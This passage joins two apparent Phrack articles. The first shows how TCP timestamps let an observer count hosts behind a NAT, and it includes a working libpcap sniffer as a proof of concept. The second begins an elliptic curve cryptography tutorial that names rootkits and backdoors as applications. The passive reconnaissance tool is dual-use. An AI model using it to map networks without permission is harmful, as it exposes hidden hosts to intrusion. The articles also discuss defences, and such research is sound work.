Fingerprinting and Nat detection have been an active field for long time. Since you read phrack you already know the old school TCP/IP fingerprinting by Fyodor.

You may also know p0f (Passive of fingerprinting) by M. Zalewski. With the version 2 he has done a wonderful tool, introducing clever ways to know if a host uses the NAT mechanism by analyzing TCP packet option. If you are interested in this tool (and you should !) read his paper :
"Dr. Jekyll had something to Hyde"[5].

In fact the technique described here is related to p0f in the way, that like p0f, it can be totally passive.

To be complete about NAT detection, I need to mention that AT&T has done research on counting host behind a NAT[1]. Their work focus on IP ID, assuming that this value is incremental in some OS. In fact they are mainly talking about Windows box which increment IP ID by 256 for each packet. Discovered by Antirez[7], Nmap[6] has used this fact for a long time (option -sI).

Now that we know what we are talking about it's time to explain what's going on.

----[2.2 - Present

NAT was designed to face the IP address depletion. It is also used to hide multiple hosts behind a single IP. The TCP timestamp option[2] is improperly handled by the IP Network Address Translator (NAT) mechanism[3]. In other words even scrubbing from pf doesn't rewrite the timestamp option. Until now this property of the NAT has been useless (in the security point of view). It is interesting to point out that the timestamp option by itself has already been used for information disclosure. Let's take a quick look at timestamp security history

----[2.3 - Back to the beginning of timestamp history

In the past the timestamp has been used to calculate the uptime of a computer[4]. Any one who had try the TCP fingerprint option (-O) of Nmap has been impressed by a line like this one :

        "Uptime 36.027 days (since Tue May 25 11:12:31 2004)".

Of course their is no black magic behind that, only two facts :

- Time goes back only in movie (sorry boys...)
- Every OS increments the timestamp by one every n milliseconds.

So if you know the OS, you know how often the OS increment the timestamp option. All you have to do to know the uptime is to apply a trivial math formula :

    timestamp / num inc by sec = uptime in sec

Has you can notice this formula does not take into account the warp around of integer. Here we know two information : the actual timestamp and the number of increments by second. This can only be done because we know the OS type. Let's see how we can improve this technique to do it without knowing the OS.

----[2.4 - Back to school

Remember a long time ago at school, you heard about affine function. A basic example of it is :

               "y = Ax + B"

```
where A is the slope and B the initial point.
The graphic representation of it is straight line. From timestamp point of
view this can be express has the follow :

                timestamp = numincbysec * sec + intial number

When you do active fingerprinting you get the timestamp and know the
numincbysec by guessing the OS.

    Now let's suppose you can't guess the OS. In this case you don't know
the slope and can't guess the uptime. Here is an other way to know the
slope of the OS. You need to get the computer timestamp twice. Name it ts1
and ts2 and name the time (in sec) where you gather it t1 and t2.

With thoses informations, it is trivial to find the slope since we have the
following equationnal system:

               ts1 = A*s1 + B
               ts2 = A*s2 + B

which is solved by the following equation :

           ts1 - ts2 = A*(s1 - s2) <=> A = (ts1 - ts2) / (s1 - s2)

An imediate application of this idea can be implemented in active scanner:

    requeste twice the timestamp to verify that the slope is the
    same as the one guessed.

This can be use to defeat some anti-fingerprint tools. It also can be used
as a standalone fingerprinting technic but will not be accurate has the TCP
or ICMP one.

Now that we have the theory ready, let's go back to NAT.

----[ 2.5 - Back to the NAT

    Let's make the connection with the NAT. Since the timestamp option is
not rewritten by NAT, we can count the number of host behind the NAT using
the following algorithm :


 1. for each host already discovered verifying is the packet belong to it
    straight line equation.  each host has a unique straight line equation
    until two host have booted at the same second.

 2. otherwise add the packet to unmatched packet : a new host beyond NAT is
    detected.

    Look to the proof of concept if you need to make things more clear.
This simple algorithm has a lot of room for improvement. It has been keeped
has simple has possible for clarity. As you can see timestamp option can be
used to count host beyond a NAT in a reliable manner. It will also giveo
indication of the OS class.


----[ 2.6 - Let's do PAT

    PAT (Port Address Translation) is used to provide service on a box
behind a NAT.

    The question is how do I know that the port is forwarded?
Well timestamp is once again your friend. If for two different ports the
slope of timestamp differs then there is a PAT and the OS of the two
computers is different. If the timestamp gathered from the two ports does
not belong to the same straight line, then it's the same OS but not the
same computer.

    Another interesting use of PAT is the round robin. Until now their were
no way to know if such mechanism is used. By comparing the different
```

timestamps gathered you can determine how many hosts are beyond a single port. This might be an interesting functionality to add to an active scanner.

----[2.7 - Time to fight back

Since playing with this option can give valuable information there is some limitation to this technique. Mainly Windows box does not use timestamp option when they establish connection[8] unless you activate it. This limitation only affects passive analysis, if you use timestamp when you connect to a windows it will use it too. Moreover many tweaks software activate the TCP extension in windows.

To be completed on the subject I had to mention that it seems that TCP extension does not exist on win 9X.

One other problem is the time gap. In passive mode there can be a desynchronization between computers due to computer desynchronization or network lags. In the proof of concept this phenomenon can occur. To handle it you need not to rely on the computer clock but on timestamp itself.

What can we do against this ? Since no vendor except Microsoft (1) (Thanks Magnus) has answer to me, the following workaround may not be available. Here is a theoric way to patch this problem.

1. Disabling tcp timestamp. This is the worse solution since we will need it with fast network[2].
2. Make NAT rewrite the timestamp and changing The NAT RFC.
3. Changing the RFC to specify that the timestamp option needs to have a random increment. Modifying each implementation to reflect this change. The a clean way to fix this thing because it's does not rely on an external system (the NAT computer in this case).

Well I have to try to be as complete as possible for this technical part. The next part will be more "philosophic" since it deals with the cause instead of the consequence.

--[3 - History has something to tell us

In this part I will try to focus on why we have this situation and what we can do about it. Here I am not talking about the timestamp option by itself but about the interaction between the timestamp option and the NAT mechanism.

----[3.1 - Which class ?

First question is what is this bug? This bug belongs to the design error class. To be more precise this bug exists because protocol specification overlap. IP was designed to be a one on one protocol: one client talks to one server. NAT violates this specification by allowing multiple to one. By itself this violation has caused so many problems that I lost the count of it, but it is pretty sure that the most recurrent problem is the FTP transfer. If you use FTP you know what I mean (other can look at netfilter ftp conntrack).

----[3.2 - So were does it come from ?

FTP problem is a good example to explain the origin of the overlap specification problem. FTP was specified to work over a one to one reliable connexion (TCP in fact). NAT was designed to modify IP. So due to protocol dependency it also alter TCP and therefor FTP.

During NAT specification it was not taken into account that every protocol that relies on IP, can conflict with the modified specification. To tell the truth ,even if the people that design the NAT mechanism have ever wanted to ensure that every protocol that relies on IP can work with the NAT they couldn't make it.

Why ? because specification are RFC and RFC are in english. English is not a good way to specify things especially if you have a dependency graph for the specification.

For example many programming languages have formal specifications. Which is a more full proof way. The reason of this lack of formal specification resides on the history of Internet[9]. At this time writing a simple text was good enough. Nowadays it can be very problematic.

----[3.3 - How do you find it ?

The big question is, how do I find this bug ?. Well I found this problem by formalizing a part of the TCP RFC and confronts the result of this analysis to real execution traces. My analyzer (2) warned me about a timestamp that was less than the previous one and as you know time does not go back...

I check out why and found this problem. What’s interesting here is that the start point to find the bug is the specification rather than the implementation as it usually does to find a buffer overflow for example.

----[3.4 - Back to the future

So from now on, what will happen ? Well more design errors will be found because we cannot change the past and we need to live with it. It is not reasonable to say that we can wipe off all that TCP stuff and start a new thing from scratch. Internet and network are simply too big to move just like that. Just think for one second about the IP v6 deployment and you will be convinced. All we can do is try to be as careful as possible when designing a new extension or a protocol. Trying to ensure that this new stuff does not conflicts with previous specification or breaks dependence. We can also try to formalize the protocols as much as we can to try and detect errors before they cause problems. Sadly patching is mainly our primary option for the coming years.

--[4.0 - Learning from the past aka conclusion

The past tells us that protocol is not well enough specified and leads to errors (bug, conflict...). It may be time to change our habits and try something in ad equation with our time. For example to design things with security in mind. In this article I have tried to show you that by simply understanding specification and with the help of some basic math you can:

- Find a flaw with a worldwide impact.
- Exploit this flaw in an elegant manner by the means of a simple theory.
- Extend fingerprint state of art.

I hope this will help to convince you that theory and formal tools are a necessary part of the computer security field. Next time I will focus on simple formal method to find bug. I hope you will be here :).

--[A Acknowledgements

First I would like to thank Romain Bottier for his help and his patience. I also want to thank Plops and Poluc for having faith in me. See guys we made it!

I also want to say that I take great care about non disclosure policy. I have informed major vendors (Kernel.org, freeBSD, OpenBSD, Cisco...) a month ago. As I said I did not get any feedback so I assume they do not care.

References

==*=*=*=

[1] AT&T Steven M. Bellovin. A Technique for Counting NATted Hosts
     http://www.research.att.com/~smb/papers/fnat.pdf
[2] Jacobson, Braden, & Borman. RFC 1323 :TCP Extensions for High
     Performance .
[3] K. Egevang, Cray Communications, P. Francis. RFC 1631 : The IP
     Network Address Translator (NAT).
[4] Bret McDanel. TCP Timestamping - Obtaining System Uptime Remotely
     originally posted to Bugtraq Security Mailing List on March 11, 2001.
[5] Michal Zalewski. p0f 2:Dr. Jekyll had something to Hyde.
[6] Fyodor. Nmap - Free Security Scanner For Network Exploration &
     Security Audits.
[7] Antirez. dumbscan original BUGTRAQ posting (18 Dec 1998)
[8] Microsoft. TCP timestamp in windows : KB224829.
[9] Hafner, Katie, Matthew Lyon. Where Wizards Stay Up Late: The Origins
     of the Internet.

FootNotes
==*=*=*=

(1) Microsoft point of view is that NAT is not a security mechanism so they do not want to patch.

(2) If you are interested about my analyzer. I hope to publish soon a theoric paper on how it works. I also hope to release one day a version of it. To the question did I find other interesting things, the answer is: maybe I need to check out more deeply.

--[B - Proof of concept

```
/*
 * Proof Of Concept : counting host behind a NAT using timestamp
 * To compile this file, you will need the libpcap
 * Copyright Elie Bursztein (lupin@zonart.net)
 * Successfully compiled on FreeBSD 5.X and Linux 2.6.X
 *
 * $gcc natcount.c -o natcount -I/usr/local/include -L/usr/local/lib
 * -lpcap
 */

#define __USE_BSD 1

#include <sys/time.h>
#include <time.h>
#include <netinet/in.h>
#include <net/ethernet.h>
#ifdef __FreeBSD__
# include <netinet/in_systm.h>
#endif /* __FreeBSD__ */
#ifdef __linux__
# include <linux/if_ether.h>
#endif /* __linux__ */

#include <netinet/ip.h>
#include <stdlib.h>
#include <string.h>
#include <pcap.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <net/if.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>

#ifdef __linux__
# define th_off doff
```

```
  #endif /* __linux__ */

  u_int32_t       addr = 0;

  /* chain lists structures */
  typedef struct listes_s {
    struct listes_s *next;
    void  *elt;
  } listes_t;

  /* Structures for TCP options */
  typedef struct { u_int32_t ts, ts_r; } timestamp_t;
  typedef struct { timestamp_t *ts; } tcp_opt_t;

  /* Structures for datas storage */
  typedef struct { u_int32_t from, first_timestamp; struct timeval
first_seen; } machine_t;
  typedef struct { u_int32_t host, nat; struct timeval first_seen; }
nat_box_t;

  #define TIMESTAMP_ERROR_MARGIN  0.5
  #define DELAY                   1

  /*
   * List functions
   */
  int     add_in_list(listes_t **list, void * elt) {
    listes_t *lst;
    lst = malloc(sizeof (listes_t));
    lst->next = *list;
    lst->elt = elt;
    *list = lst;
    return (1);
  }

  void            show_nated(listes_t *list) {
    nat_box_t     *nat;
    struct in_addr addr;

    printf("-- Begin of nated IP list --\n");
    while (list)
      {
        nat = (nat_box_t *) list->elt;
       if (nat->nat > 1) {
        addr.s_addr = nat->host;
        printf("I've guess %i computers sharing the same IP address
(%s)\n", nat->nat, inet_ntoa(addr));
       }
       list = list->next;
      }
    printf("-- End of nated IP list --\n");
  }

  /*
   * Function used to get all TCP options
   * Simple TCP options parser
   */
  int             tcp_option_parser(const u_char *options,
                                    tcp_opt_t *parsed,
                                    unsigned int size) {
    u_int8_t       kind, len, i;

    bzero(parsed, sizeof(tcp_opt_t));
    i = 0;
    kind = *(options + i);
    while (kind != 0) /* EO */
      {
       switch (kind) {
       case 1: i++; break; /* NOP byte */
       case 2: i += 4; break;
```

```
        case 3: i += 3; break;
        case 4: i += 2; break;
        case 5: /* skipping SACK options */
          len = (*options + ++i) - 1;
          i += len;
          break;
        case 6: i += 6; break;
        case 7: i += 6; break;
        case 8:
          i += 2;
          parsed->ts = (timestamp_t *) (options + i);
          i += 8;
          return (1);
          break;
        default:
          i++;
        }
        kind = *(options + i);
      }
    return (0);
  }

  /*
   * Most interesting function ... Here we can know if a TCP packet is
   * coming from someone we already know !
   * Algo :
   * finc (seconds) = current_packet_time - first_packet_time <- time
   * between 2 packets
   * ts_inc = inc_table[i] * finc <- our supposed timestamp increment
   * between 2 packets
   * new_ts = first_timestamp + ts_inc <- new = timestamp we should have
   * now !
   *
   *  Now we just have to compare new_ts with current timestamp
   *  We can authorize an error margin of 0.5%
   *
   * Our inc_table contain timestamp increment per second for most
   * Operating System
   */
  int                     already_seen(machine_t *mach, tcp_opt_t *opt,
struct timeval temps)
  {
    int                   inc_table[4] = {2, 10, 100, 1000};
    unsigned int          new_ts;
    float                 finc, tmp, ts_inc;
    int                   i, diff;

    finc = ((temps.tv_sec - mach->first_seen.tv_sec) * 1000000.
  + (temps.tv_usec - mach->first_seen.tv_usec)) / 1000000.;
    for (i = 0; i < 4; i++) {
      ts_inc = inc_table[i] * finc;
      new_ts =  ts_inc + mach->first_timestamp;
      diff = ntohl(opt->ts->ts) - new_ts;
      if (diff == 0) { /* Perfect shoot ! */
        return (2);
      }
      tmp = 100. - (new_ts * 100. / ntohl(opt->ts->ts));
      if (tmp < 0.)
        tmp *= -1.;
      if (tmp <= TIMESTAMP_ERROR_MARGIN) { /* Update timestamp and time */
        mach->first_seen = temps;
        mach->first_timestamp = ntohl(opt->ts->ts);
        return (1);
      }
    }
    return (0);
  }


  /*
```

```
 * Simple function to check if an IP address is already in our list
 * If not, it's only a new connection
 */
int             is_in_list(listes_t *lst, u_int32_t addr) {
  machine_t     *mach;

  while (lst) {
    mach = (machine_t *) lst->elt;
    if (mach->from == addr)
      return (1);
    lst = lst->next;
  }
  return (0);
}

/*
 * This function should be call if a packet from an IP address have been
 * found,
 * is address is already in the list, but doesn't match any timestamp
 * value
 */
int             update_nat(listes_t *list, u_int32_t addr)
{
  nat_box_t             *box;

  while (list)
    {
      box = (nat_box_t *) list->elt;
      if (box->host == addr)
        {
          box->nat++;
          return (1);
        }
      list = list->next;
    }
  return (0);
}

int             check_host(listes_t **list, listes_t **nat, u_int32_t
from,
                           tcp_opt_t *opt, struct timeval temps) {
  listes_t      *lst;
  machine_t     *mach;
  int           found, zaped;

  found = zaped = 0;

  lst = *list;
  while (lst && !(found)) {
    mach = (machine_t *) lst->elt;
    if (mach->from == from) {
      if ( temps.tv_sec - mach->first_seen.tv_sec > DELAY ) {
        found = already_seen(mach, opt, temps);
      } else zaped = 1;
    }
    lst = lst->next;
  }
  if (!(zaped) && !(found)) {
    mach = malloc(sizeof (machine_t));
    mach->from = from;
    mach->first_seen = temps;
    mach->first_timestamp = ntohl(opt->ts->ts);
    add_in_list(list, mach);
    update_nat(*nat, from);
    show_nated(*nat);
    return (1);
  }
  return (0);
}
```

```
  void    callback_sniffer(u_char *useless,
  const struct pcap_pkthdr* pkthdr,
  const u_char *packet)
  {
    static listes_t              *list_machines = 0;
    static listes_t              *list_nat = 0;
    const struct ip              *ip_h;
    const struct tcphdr          *tcp_h;
    tcp_opt_t                    tcp_opt;
    machine_t                    *mach;
    nat_box_t                    *nat;
    struct in_addr               my_addr;

    ip_h = (struct ip *) (packet + sizeof(struct ether_header));
    if (ip_h->ip_p == IPPROTO_TCP)
      {
        tcp_h = (struct tcphdr *) (packet + sizeof(struct ether_header) +
sizeof(struct ip));
        if (tcp_h->th_off * 4 > 20) {
          if (tcp_option_parser((u_char *) (packet + sizeof(struct
ether_header)
                                              + sizeof(struct ip) +
sizeof(struct tcphdr)),
                                &tcp_opt, tcp_h->th_off * 4 - 20))
            {
              if (is_in_list(list_machines, (ip_h->ip_src).s_addr)) {
                check_host(&list_machines, &list_nat, (u_int32_t)
(ip_h->ip_src).s_addr, &tcp_opt, pkthdr->ts);
              } else {
                if (ntohl(tcp_opt.ts->ts) != 0)
  {
  addr = (ip_h->ip_src).s_addr;
  my_addr.s_addr = addr;
  mach = malloc(sizeof (machine_t));
  mach->from = (ip_h->ip_src).s_addr;
  mach->first_seen = pkthdr->ts;
  mach->first_timestamp = ntohl(tcp_opt.ts->ts);
  nat = malloc(sizeof (nat_box_t));
  nat->host = (u_int32_t) (ip_h->ip_src).s_addr;
  nat->nat = 1;
  nat->first_seen = mach->first_seen;
  add_in_list(&list_machines, mach);
  add_in_list(&list_nat, nat);
  }
  }
            }
        }
      }
  }


  int             main(int ac, char *argv[])
  {
    pcap_t          *sniff;
    char            errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program fp;
    char            *device;
    bpf_u_int32     maskp, netp;
    struct in_addr my_ip_addr;
    char            filter[250];

    if (getuid() != 0) {
      printf("You must be root to use this tool.\n");
      exit (2);
    }
    if (--ac != 1)
      {
        printf("Usage: ./natcount xl0\n");
        return (1);
```

```
      }
    device = (++argv)[0];
    pcap_lookupnet(device, &netp, &maskp, errbuf);
    my_ip_addr.s_addr = (u_int32_t) netp;
    printf("Using interface %s IP : %s\n", device, inet_ntoa(my_ip_addr));
    if ((sniff = pcap_open_live(device, BUFSIZ, 1, 1000, errbuf)) == NULL)
{
      printf("ERR: %s\n", errbuf);
      exit(1);
    }
    bzero(filter, 250);
    snprintf(filter, 250, "not src net %s", inet_ntoa(my_ip_addr));
    if(pcap_compile(sniff,&fp, filter, 0, netp) == -1) {
        fprintf(stderr,"Error calling pcap_compile\n");
       exit(1);
      }
    if(pcap_setfilter(sniff,&fp) == -1) {
        fprintf(stderr,"Error setting filter\n");
        exit(1);
      }
    pcap_loop(sniff, -1, callback_sniffer, NULL);
    return (0);
  }
```

```
|=-----------------------------=[ 0x03-3 ]=------------------------------=|
|=---=[ All Hackers Need To Know About Elliptic Curve Cryptography ]=----=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ f86c9203 ]=-----------------------------=|
```

---[Contents

---[0 - Abstract

Public key cryptography gained a lot of popularity since its invention three decades ago. Asymmetric crypto systems such as the RSA encryption scheme, the RSA signature scheme and the Diffie-Hellman Key Exchange (DH) are well studied and play a fundamental role in modern cryptographic protocols like PGP, SSL, TLS, SSH.

The three schemes listed above work well in practice, but they still have a major drawback: the data structures are large, i.e. secure systems have to deal with up to 2048 bit long integers. These are easily handled by modern desktop computers; by contrast embedded devices, handhelds and especially smartcards reach their computing power limits quickly. As a second problem, of course, the transportation of large integers "wastes" bandwidth. In 2048 bit systems an RSA signature takes 256 bytes; that's quite a lot, especially for slow communication links.

As an alternative to RSA, DH and suchlike the so called Elliptic Curve Cryptography (ECC) was invented in the mid-eighties. The theory behind it is very complicated and much more difficult than doing calculations on big integers. This resulted in a delayed adoption of ECC systems although their advantages over the classic cryptographic building blocks are overwhelming: key lengths and the necessary processing power are much smaller (secure systems start with 160 bit keys). Thus, whenever CPU, memory or bandwidth are premium resources, ECC is a good alternative to RSA and DH.

This article has two purposes:

1. It is an introduction to the theory of Elliptic Curve Cryptography. Both, the mathematical background and the practical implementability are covered.

2. It provides ready-to-use source code. The C code included and described in this article (about 500 lines in total) contains a complete secure public key crypto system (including symmetric components: a block cipher, a hash function and a MAC) and is released to the public domain.

   The code doesn't link against external libraries, be they of bigint, cryptographic or other flavour; an available libc is sufficient. This satisfies the typical hacker need for compact and independent programs that have to work in "inhospitable" environments; rootkits and backdoors seem to be interesting applications.

As mentioned above the theory behind EC cryptography is rather complex. To keep this article brief and readable by J. Random Hacker only the important results are mentioned, theorems are not proven, nasty details are omitted. If on the other hand you are into maths and want to become an ECC crack I encourage to start reading [G2ECC] or [ECIC].

---[1 - Algebraical Groups and Cryptography

Definition. A set G together with an operation G x G -> G denoted by '+' is called an (abelian algebraical) group if the following axioms hold:

G1. The operation '+' is associative and commutative:

```
           (a + b) + c = a + (b + c)    for all a,b,c in G
                 a + b = b + a          for all a,b in G
```

G2. G contains a neutral element '0' such that

```
               a + 0 = a = 0 + a        for all a in G
```

G3. For each element 'a' in G there exists an "inverse element", denoted by '-a', such that

```
                  a + (-a) = 0.
```

For a group G the number of elements in G is called the group order, denoted by |G|.

Example. The sets Z, Q and R of integers, rational numbers and real numbers, respectively, form groups of infinite order in respect to their addition operation. The sets Q* and R* (Q and R without 0) also form groups in respect to multiplication (with 1 being the neutral element and 1/x the inverse of x).

Definition. Let G be a group with operation '+'. A (nonempty) subset H of G is called a subgroup of G if H is a group in respect to the same operation '+'.

Example. Z is a subgroup of Q is a subgroup of R in respect to '+'. In respect to '*' Q* is a subgroup of R*.

Theorem (Lagrange). Let G be a group of finite order and H be a subgroup of G. Then |H| properly divides |G|.

It follows that if G has prime order, G has only two subgroups, namely {0} and G itself.

We define the "scalar multiplication" of a natural number k with a group element g as follows:

```
                  k * g := g + g + ... + g + g
                           \____ k times ____/
```

Theorem. For a finite group G and an element g in G the set of all elements k * g (k natural) forms a subgroup of G. This subgroup is named the "cyclic subgroup generated by g".

Thus a prime order group is generated by any of its nonzero elements.

We now introduce the Diffie-Hellman Key Exchange protocol: let G be a prime order group and g a nonzero element. Let two players, called Alice and Bob respectively, do the following:

1. Alice picks a (secret) random natural number 'a', calculates P = a * g and sends P to Bob.

2. Bob picks a (secret) random natural number 'b', calculates Q = b * g and sends Q to Alice.

3. Alice calculates S = a * Q = a * (b * g).

4. Bob calculates T = b * P = b * (a * g).

By definition of the scalar multiplication it is apparent that S = T. Therefore after step 4 Alice and Bob possess the same value S. The eavesdropper Eve, who recorded the exchanged messages P and Q, is able to calculate the same value if she manages to determine 'a' or 'b'. This problem (calculating 'a' from G, g and 'a * g') is called the group's Discrete Logarithm Problem (DLP).

In groups where DLP is too 'hard' to be practically solvable it is believed to be out of reach for eavesdroppers to determine the value S, hence Alice and Bob can securely establish a secret key which can be used to protect further communication.

If an attacker is able to intercept the transmission of P and Q and to replace both by the group's neutral element, obviously Alice and Bob are forced to obtain S = 0 = T as shared key. This has to be considered a successful break of the crypto system. Therefore both Alice and Bob have to make sure that the received elements Q and P, respectively, indeed do generate the original group.

The presented DH scheme may also serve as public key encryption scheme (called ElGamal encryption scheme): let Alice pick a random natural number 'a' as private key. The element P = a * g is the corresponding public key. If Bob wants to encrypt a message for her, he picks a random number 'b', symmetrically encrypts the message with key T = b * P and transmits the cipher text along with Q = b * g to Alice. She can reconstruct T = S via S = a * Q and then decrypt the message. Note the direct relationship between this and the DH scheme!

Conclusion: Cryptographers are always seeking for finite prime order groups with hard DLP. This is where elliptic curves come into play: they induce algebraical groups, some of them suitable for DH and ElGamal crypto systems. Moreover the elliptic curve arithmetic (addition, inversion) is implementable in a relatively efficient way.

You will find more information about groups and their properties in [Groups], [Lagrange], [CyclicGroups] and [GroupTheory]. Read more about the DLP, DH key exchange and ElGamal encryption in [DLP], [DH] and [ElGamal].

---[2 - Finite Fields, Especially Binary Ones

Definition. A set F together with two operations F x F -> F named '+' and '*' is called a field if the following axioms hold:

F1. (F, +) forms a group

F2. (F*, *) forms a group (where F* is F without the
    '+'-neutral element '0')

F3. For all a,b,c in G the distributive law holds:

$$a * (b + c) = (a * b) + (a * c)$$

For 'a + (-b)' we write shorter 'a - b'. Accordingly we write 'a / b' when we multiply 'a' with the '*'-inverse of b.

To put it clearly: a field is a structure with addition, substraction, multiplication and division that work the way you are familiar with.

Example. The sets Q and R are fields.

Theorem. For each natural m there exists a (finite) field GF(2^m) with exactly 2^m elements. Fields of this type are called binary fields.

Elements of binary fields GF(2^m) can efficiently be represented by bit vectors of length m. The single bits may be understood as coefficients of a polynomial of degree < m. To add two field elements g and h just carry out the polynomial addition g + h (this means: the addition is done element-wise, i.e. the bit vectors are XORed together). The multiplication is a polynomial multiplication modulo a certain fixed reduction polynomial p: the elements' product is the remainder of the polynomial division (g * h) / p.

The fact that field addition just consists of a bitwise XOR already indicates that in binary fields F each element is its own additive inverse, that is: a + a = 0 for all a in F. For a,b in F as consequence 2*a*b = a*b + a*b = 0 follows, what leads to the (at the first glance surprising) equality

$$(a + b)^2 = a^2 + b^2 \quad \text{for all a,b in F.}$$

More about finite fields and their arithmetical operations can be found in [FiniteField], [FieldTheory], [FieldTheoryGlossary] and especially [FieldArithmetic].

---[3 - Elliptic Curves and their Group Structure

Definition. Let F be a binary field and 'a' and 'b' elements in F. The set E(a, b) consisting of an element 'o' (the "point at infinity") plus all pairs (x, y) of elements in F that satisfy the equation

```
                    y^2 + x*y = x^3 + a*x^2 + b
```

is called the set of points of the binary elliptic curve E(a, b).

Theorem. Let E = E(a, b) be the point set of a binary elliptic curve over the field F = GF(2^m). Then

1. E consists of approximately 2^m elements.

2. If (x, y) is a point on E (meaning x and y satisfy the above equation) then (x, y + x) is also a point on E.

3. If two points P = (x1, y1) and Q = (x2, y2) on E with x1 != x2 are connected by a straight line (something of the form y = m*x + b), then there is exactly one third point R = (x3, y3) on E that is also on this line. This induces a natural mapping f:(P, Q) -> R, sometimes called chord-and-tangent mapping.

Exercise. Prove the second statement.

The chord-and-tangent mapping 'f' is crucial for the group structure given naturally on elliptic curves:

a) The auxiliary element 'o' will serve as neutral element which may be added to any curve point without effect.

b) For each point P = (x, y) on the curve we define the point -P := (x, y + x) to be its inverse.

c) For two points P = (x1, y1) and Q = (x2, y2) the sum 'P + Q' is defined as -f(P, Q).

It can be shown that the set E together with the point addition '+' and the neutral element 'o' defacto has group structure. If the curve's coefficients 'a' and 'b' are carefully chosen, there exist points on E that generate a prime order group of points for which the DLP is hard. Based on these groups secure crypto systems can be built.

The point addition on curves over the field R can be visualized. See [EllipticCurve] for some nice images.

In ECC implementations it is essential to have routines for point addition, doubling, inversion, etc. We present pseudocode for the most important ones:

Let (x, y) be a point on the elliptic curve E(a, b). The point (x', y') := 2 * (x, y) can be computed by

```
   l = x + (y / x)
   x' = l^2 + l + a
   y' = x^2 + l*x' + x'
   return (x', y')
```

For two points P = (x1, y1), Q = (x2, y2) the sum (x3, y3) = P + Q can be computed by

```
   l = (y2 + y1) / (x2 + x1)
   x3 = l^2 + l + x1 + x2 + a
```

```
   y3 = l(x1 + x3) + x3 + y1
   return (x3, y3)
```

Some special cases where the point at infinity 'o' has to be considered have been omitted here. Have a look at [PointArith] for complete pseudocode routines. But nevertheless we see that point arithmetic is easy and straight forward to implement. A handful of field additions, multiplications plus a single division do the job.

The existence of routines that do point doubling and addition is sufficient to be able to build an efficient "scalar multiplier": a routine that multiplies a given curve point P by any given natural number k. The double-and-add algorithm works as follows:

```
   H := 'o'
   let n be the number of the highest set bit in k
   while(n >= 0) {
     H = 2 * H;
     if the nth bit in k is set:
       H = H + P;
     n--;
   }
   return H;
```

Example. Suppose you want to calculate k*P for k = 11 = 1011b. Then n is initialized to 3 and H calculated as

```
   H = 2 * (2 * (2 * (2 * 'o' + P)) + P) + P
     = 2 * (2 * (2 * P) + P) + P
     = 2 * (5 * P) + P
     = 11 * P
```

Some elliptic curves that are suitable for cryptographic purposes have been standardized. NIST recommends 15 curves (see [NIST]), among them five binary ones called B163, B233, B283, B409 and B571. The parameters of B163 are the following ([NISTParams]):

```
  Field:              GF(2^163)
  Reduction poly:     p(t) = t^163 + t^7 + t^6 + t^3 + 1
  Coefficient a:      1
  Coefficient b:      20a601907b8c953ca1481eb10512f78744a3205fd
  x coordinate of g: 3f0eba16286a2d57ea0991168d4994637e8343e36
  y coordinate of g: 0d51fbc6c71a0094fa2cdd545b11c5c0c797324f1
  group order:        2 * 5846006549323611672814742442876390689256843201587
```

The field size is 2^163, the corresponding symmetric security level is about 80 bits (see chapter 4). The field elements are given in hexadecimal, the curve's order in decimal form as h * n, where h (the "cofactor") is small and n is a large prime number. The point g is chosen in a way that the subgroup generated by g has order n.

The source code included in this article works with B163. It can easily be patched to support any other binary NIST curve; for this it is sufficient to alter just 6 lines.

Exercise. Try it out: patch the sources to get a B409 crypto system. You will find the curve's parameters in [NISTParams].

Read [EllipticCurve], [PointArith] and [DoubleAndAdd] for further information.

---[4 - On the Security of Elliptic Curve Cryptography

We learned that the security of the DH key exchange is based on the hardness of the DLP in the underlying group. Algorithms are known that determine discrete logarithms in arbitrary groups; for this task no better time complexity bound is known than that for Pollard's "Rho

Method" ([PollardRho]):

Theorem. Let G be a finite (cyclic) group. Then there exists an algorithm that solves DLP in approximately sqrt(|G|) steps (and low memory usage).

For elliptic curves no DLP solving algorithm is known that performs better than the one mentioned above. Thus it is believed that the ECCDLP is "fully exponential" with regard to the bit-length of |G|. RSA and classical DH systems can, by contrast, be broken in "subexponential" time. Hence their key lengths must be larger than those for ECC systems to achieve the same level of security.

We already saw that elliptic curves over GF(2^m) contain about 2^m points. Therefore DLP can be solved in about sqrt(2^m) steps, that is 2^(m/2). We conclude that m-bit ECC systems are equivalent to (m/2)-bit symmetric ciphers in measures of security.

The following table compares equivalent key sizes for various crypto systems.

ECC key size	RSA key size	DH key size	AES key size
160	1024	1024	(80)
256	3072	3072	128
384	7680	7680	192
512	15360	15360	256

---[5 - The ECIES Public Key Encryption Scheme

Earlier we presented the DH Key Exchange and the ElGamal public key crypto system built on top of it. The Elliptic Curve Integrated Encryption Scheme (ECIES, see ANSI X9.63) is an enhancement of ElGamal encryption specifically designed for EC groups. ECIES provides measures to defeat active attacks like the one presented above.

Let E be an elliptic curve of order h * n with n a large prime number. Let G be a subgroup of E with |G| = n. Choose a point P in G unequal to 'o'.

We start with ECIES key generation:

```
  Alice picks as private key a random number 'd' with 1 <= d < n;
  She distributes the point Q := d * P as public key.
```

If Bob wants to encrypt a message m for Alice he proceeds as follows:

```
  1. Pick a random number 'k' with 1 <= k < n.
  2. Compute Z = h * k * Q.
  3. If Z = 'o' goto step 1.
  4. Compute R = k * P.
  5. Compute (k1, k2) = KDF(Z, R)  (see below).
  6. Encrypt m with key k1.
  7. Calculate the MAC of the ciphertext using k2 as MAC key.
  8. Transmit R, the cipher text and the MAC to Alice.
```

Alice decrypts the cipher text using the following algorithm:

```
  1. Check that R is a valid point on the elliptic curve.
  2. Compute Z = h * d * R.
  3. Check Z != 'o'.
  4. Compute (k1, k2) = KDF(Z, R)  (see below).
  5. Check the validity of the MAC using key k2.
  6. Decrypt m using key k1.

  If any of the checks fails: reject the message as forged.
```

KDF is a key derivation function that produces symmetric keys k1, k2 from a pair of elliptic curve points. Just think of KDF being the cryptographic hash function of your choice.

ECIES offers two important features:

1. If an attacker injects a curve point R that does not generate a large group (this is the case in the attack mentioned above), this is detected in steps 2 und 3 of the decryption process (the cofactor plays a fundamental role here).

2. The message is not only encrypted in a secure way, it is also protected from modification by a MAC.

Exercise. Implement a DH key exchange. Let E be a binary elliptic curve or order h * n. Let G be a subgroup of E with |G| = n. Choose a point g in G unequal to 'o'. Let Alice and Bob proceed as follows:

